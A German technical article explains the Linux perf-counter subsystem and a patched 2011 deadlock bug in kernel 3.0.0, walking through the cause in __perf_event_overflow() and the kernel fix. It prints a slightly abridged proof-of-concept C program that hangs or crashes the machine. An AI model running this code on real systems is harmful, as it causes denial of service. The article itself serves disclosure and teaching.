Linux-Kernel 3.0.0: Deadlock-Exploit mit Performance-Counter

Neuere CPUs besitzen spezielle Performance-Counter-Register, die bestimmte Hardware-Ereignisse wie ausgeführte Befehle oder Cache Misses überwachen können. Dies ermöglicht ein effizientes und umfangreiches Profiling ohne die sonst Profiling-typischen Performanceverluste. Das Linux-Performance-Counter-Subsystem (“perf”) bildet die entsprechende Abstraktionsschicht dieser Hardware-Fähigkeiten im Linux-Kernel ab. In diesem Subsystem wurde kürzlich eine Schwachstelle entdeckt.

Zum Userspace-Zugriff auf das Perf-Subsystem gibt es das im Kernelquelltext enthaltene Tool “perf”, das sich wie beispielsweise Git mit verschiedenen Kommandos benutzen lässt. “perf stat” beispielsweise gibt eine Statistik über den aufgerufen Befehl (hier “id”) aus:

mark@tux:~$ perf stat id
uid=1000(mark) gid=1000(mark) groups=4(adm),20(dialout),24(cdrom),
46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(mark) Performance counter stats for 'id': 2.787903 task-clock-msecs # 0.137 CPUs 3 context-switches # 0.001 M/sec 1 CPU-migrations # 0.000 M/sec 322 page-faults # 0.115 M/sec 3309812 cycles # 1187.205 M/sec 2437250 instructions # 0.736 IPC 33337 cache-references # 11.958 M/sec 9095 cache-misses # 3.262 M/sec 0.020278704 seconds time elapsed

Neben Hardware-Ereignissen unterstützt Perf auch mehrere Software-Ereignisse und Tracepoints. Der eigentliche Zugriff auf einen Perf-Counter erfolgt durch gewöhnliche Dateideskriptoren, wobei jeweils ein Deskriptor pro Ereignis-Zähler verwendet wird. Perf unterscheidet zwei Arten von Zählern: Counting- und Sampling-Zähler. Bei ersterem wird einfach die Anzahl des gewünschten Ereignisse aufsummiert, und der Zähler kann per “read()” auf den Datei-Deskriptor ausgelesen werden. Sampling-Zähler hingegen werden verwendet, um bestimmte Aktionen mit einer definierten Periode des Ereignisses auszuführen. Für das Erzeugen eines Zähler-Deskriptors ist der folgende Systemcall zuständig:

int sys_perf_event_open(struct perf_event_attr *hw_event_uptr, pid_t pid, int cpu, int group_fd, unsigned long flags);

Er liefert einen gewöhnlichen Datei-Deskriptor zurück, auf den sich normale VFS-Befehle wie “read()” und “fcntl()” anwenden lassen. Die zentrale Struktur beim Anlegen eines Zählers ist die “perf_event_attr”, die als erstes Argument an die Funktion “sys_perf_event_open()” übergeben wird:

struct perf_event_attr { /* * Major type: hardware/software/tracepoint/etc. */ __u32 type; /* * Size of the attr structure, for fwd/bwd compat. */ __u32 size; /* * Type specific configuration information. */ __u64 config; union { __u64 sample_period; __u64 sample_freq; }; __u64 sample_type; __u64 read_format; __u64 disabled : 1, /* off by default */ inherit : 1, /* children inherit it */ pinned : 1, /* must always be on PMU */ exclusive : 1, /* only group on PMU */ exclude_user : 1, /* don't count user */ exclude_kernel : 1, /* ditto kernel */ exclude_hv : 1, /* ditto hypervisor */ exclude_idle : 1, /* don't count when idle */ mmap : 1, /* include mmap data */ comm : 1, /* include comm data */ freq : 1, /* use freq, not period */ inherit_stat : 1, /* per task counts */ enable_on_exec : 1, /* next exec enables */ task : 1, /* trace fork/exit */ watermark : 1, /* wakeup_watermark */ /* * precise_ip: * * 0 - SAMPLE_IP can have arbitrary skid * 1 - SAMPLE_IP must have constant skid * 2 - SAMPLE_IP requested to have 0 skid * 3 - SAMPLE_IP must have 0 skid * * See also PERF_RECORD_MISC_EXACT_IP */ precise_ip : 2, /* skid constraint */ mmap_data : 1, /* non-exec mmap data */ sample_id_all : 1, /* sample_type all events */ __reserved_1 : 45; union { __u32 wakeup_events; /* wakeup every n events */ __u32 wakeup_watermark; /* bytes before wakeup */ }; __u32 bp_type; union { __u64 bp_addr; __u64 config1; /* extension of config */ }; union { __u64 bp_len; __u64 config2; /* extension of config1 */ };
};

Der “type”-Eintrag kontrolliert, um welche Art Ereignis es sich handelt, wobei es hier drei Möglichkeiten gibt:

enum perf_event_types { PERF_TYPE_HARDWARE = 0, PERF_TYPE_SOFTWARE = 1, PERF_TYPE_TRACEPOINT = 2,
};

In “Eintrag” config kann man genauer spezifizieren, welches Ereignis verfolgt werden soll, wobei für
Software-Ereignisse folgende Event-IDs verfügbar sind:

enum sw_event_ids { PERF_COUNT_SW_CPU_CLOCK = 0, PERF_COUNT_SW_TASK_CLOCK = 1, PERF_COUNT_SW_PAGE_FAULTS = 2, PERF_COUNT_SW_CONTEXT_SWITCHES = 3, PERF_COUNT_SW_CPU_MIGRATIONS = 4, PERF_COUNT_SW_PAGE_FAULTS_MIN = 5, PERF_COUNT_SW_PAGE_FAULTS_MAJ = 6, PERF_COUNT_SW_ALIGNMENT_FAULTS = 7, PERF_COUNT_SW_EMULATION_FAULTS = 8,
};

Sampling-Zähler verwenden den Eintrag “sample_period” um die Periode zu setzen. Die “record_type”-Variable regelt, welche Information in diesem Fall gesammelt werden soll, wobei diese Daten in einem Ring-Puffer abgelegt werden, der sich via “mmap()” auslesen lässt. Die diversen “exclude”-Einträge geben an, welche Ereignisse nicht mitgezählt werden sollen.

Deadlock

Neben dem Tool “perf” gibt es auch PAPI, das die Perf-Schnittstelle des Kernels verwendet, um Performance-Counter auf einfgache Weise zugänglich zu machen. Sein Entwickler Vince Weaver meldete im Juli, dass er beim Verwenden bestimmter Software-Ereignisse in Deadlock-Situationen kam, in denen der Kernel einfach nicht mehr reagierte.

Folgender Exploit demonstriert dies, wobei die “naive_matrix_multiply()”-Routine nur gekürzt wiedergegeben ist, da sie einfach nur eine Berechnung durchführt und CPU-Zeit verbrennt. Der vollständige Exploit findet sich in der Originalmeldung):

/* Error with overflows and perf::perf_count_sw_cpu_clock */
/* This test will crash Linux 3.0.0 */
/* compile with gcc -O2 -o oflo_sw_cpu_clock_crash oflo_sw_cpu_clock_crash.c */
/* by Vince Weaver <vweaver1 _at_ eecs.utk.edu> */
#define _GNU_SOURCE 1
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <linux/perf_event.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/prctl.h>
#define MATRIX_SIZE 512
static double a[MATRIX_SIZE][MATRIX_SIZE];
static double b[MATRIX_SIZE][MATRIX_SIZE];
static double c[MATRIX_SIZE][MATRIX_SIZE];
static void naive_matrix_multiply(int quiet) { ...
}
static int total=0;
void our_handler(int signum,siginfo_t *oh, void *blah) { int fd=oh->si_fd; ioctl(fd , PERF_EVENT_IOC_DISABLE,0); total++; ioctl(fd , PERF_EVENT_IOC_REFRESH,1);
}
int perf_event_open(struct perf_event_attr *hw_event_uptr, pid_t pid, int cpu, int group_fd, unsigned long flags) { return syscall(__NR_perf_event_open,hw_event_uptr,pid,cpu,group_fd,flags);
}
int main( int argc, char **argv ) { int fd; void *blargh; struct perf_event_attr pe; struct sigaction sa; memset(&sa, 0, sizeof(struct sigaction)); sa.sa_sigaction=our_handler; sa.sa_flags=SA_SIGINFO; if (sigaction(SIGIO,&sa,NULL)<0) { fprintf(stderr,"Error setting up signal handler\n"); exit(1); } memset(&pe,0,sizeof(struct perf_event_attr)); pe.type=PERF_TYPE_SOFTWARE; pe.size=sizeof(struct perf_event_attr); pe.config=PERF_COUNT_SW_CPU_CLOCK; pe.sample_period=100000; pe.sample_type=PERF_SAMPLE_IP; pe.read_format=PERF_FORMAT_GROUP|PERF_FORMAT_ID; pe.disabled=1; pe.pinned=1; pe.exclude_kernel=1; pe.exclude_hv=1; pe.wakeup_events=1; fd=perf_event_open(&pe,0,-1,-1,0); if (fd<0) { printf("Error opening\n"); } blargh=mmap(NULL,(1+2)*4096,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0); fcntl(fd,F_SETFL,O_RDWR|O_NONBLOCK|O_ASYNC); fcntl(fd,F_SETSIG,SIGIO); fcntl(fd,F_SETOWN,getpid()); ioctl(fd,PERF_EVENT_IOC_RESET,0); ioctl(fd,PERF_EVENT_IOC_ENABLE,0); naive_matrix_multiply(0); ioctl(fd,PERF_EVENT_IOC_DISABLE,0); munmap(blargh,(1+2)*4096); close(fd); printf("Total overflows: %d\n",total); return 0;
}

Achtung: Wird dieser Code gestartet, so führt dies entweder zum Stillstand der Maschine oder aber zum Absturz, wobei selbst Kernel 3.0.0 anfällig hierfür ist. Die “main()”-Routine des Exploits macht hauptsächlich zwei Dinge: Erstens registriert sie den Signal-Handler “our_handler” für das Signal “SA_SIGINFO” via “sigaction()”. Zweitens öffnet sie einen
Sampling-Zähler-Deskriptor mit “perf_event_open()”, wobei das Ereignis “PERF_COUNT_SW_CPU_CLOCK” überwacht werden soll
und die Sample-Periode auf 100000 gesetzt wird. Anschließend wird via “fcntl()” “SA_SIGINFO” mit dem Dateideskriptor “fd” verbunden, sodass “SA_SIGINFO” ausgelöst wird, wenn Daten zur Verfügung stehen. Der Zähler wird mit “ioctl(fd, PERF_EVENT_IOC_ENABLE)” aktiviert und nach der Rechenfunktion “naive_matrix_multiply()” mit “ioctl(fd, PERF_EVENT_IOC_DISABLE)” wieder deaktiviert. Der Aufruf des Systemcalls “perf_event_open()” erfolgt via “syscall()” und der entsprechenden Syscall-Nummer “__NR_perf_event_open”.

Ursache der Schwachstelle ist ein Programmierfehler in der Funktion “__perf_event_overflow()” in der Quelltext-Datei “kernel/events/core.c-Datei”:

if (events && atomic_dec_and_test(&event->event_limit)) { ret = 1; event->pending_kill = POLL_HUP; if (nmi) { event->pending_disable = 1; irq_work_queue(&event->pending); } else perf_event_disable(event);
}

Diese Funktion ist dafür zuständig, einen Interrupt beim Überschreiten der definierten Zählergrenze auszulösen. Die Variable “nmi” diktiert hierbei das Verhalten verschiedener Perf-Funktionen im Zusammenspiel mit NMI (Non-maskable Interrupts) und ist meistens (wie auch für obigen Exploit) auf 0 gesetzt. NMI-Interrupts lassen sich im Gegensatz zu maskierbaren Interupts nicht sperren, müssen also unbedingt behandelt werden. Das NMI-Verhalten einiger Perf-Funktionen wie “perf_event_overflow()” und “perf_sw_event()” lässt sich durch den Parameter “nmi” kontrollieren, der mit 0 und 1 signalisierte, wie genau mit NMIs umgegangen werden soll. Im obigen Code-Fragment tritt der Else-Fall ein, wodurch das Ereignis deaktiviert wird. An dieser Stelle kann es nun zu dem Deadlock kommen, der für “nmi=1” nicht auftreten würde, da dort “perf_event_disable()” nicht aufgerufen wird. Das nun in den Kernel eingepflegte Patch sieht so aus:

if (events && atomic_dec_and_test(&event->event_limit)) { ret = 1; event->pending_kill = POLL_HUP; event->pending_disable = 1; irq_work_queue(&event->pending);
}

Somit wird der kritische Code-Teil nicht mehr aufgerufen, die “nmi”-Fallabfrage wird einfach weggelassen. Dieses Patch ist Teil eines deutlich größerer Kernel-Cleanup-Patches, der im Juli 2011 Einzug in den Linux-Kernel fand. Da in den Perf-Teilen des Codes so gut wie immer “nmi=0” verwendet wurde, haben die Entwickler beschlossen, den Fall “nmi=1” ganz aus dem Perf-Code herauszunehmen. Dadurch wurde der Code vereinfacht, und obiger Patch ist damit automatisch im größeren Patch enthalten. Die Entscheidung, die NMI-Abfragen aus dem Kernel zu entfernen und die Bekanntgabe der damit verbundenen Sicherheitslücke fanden zufällig recht zeitnah statt.

Nach oben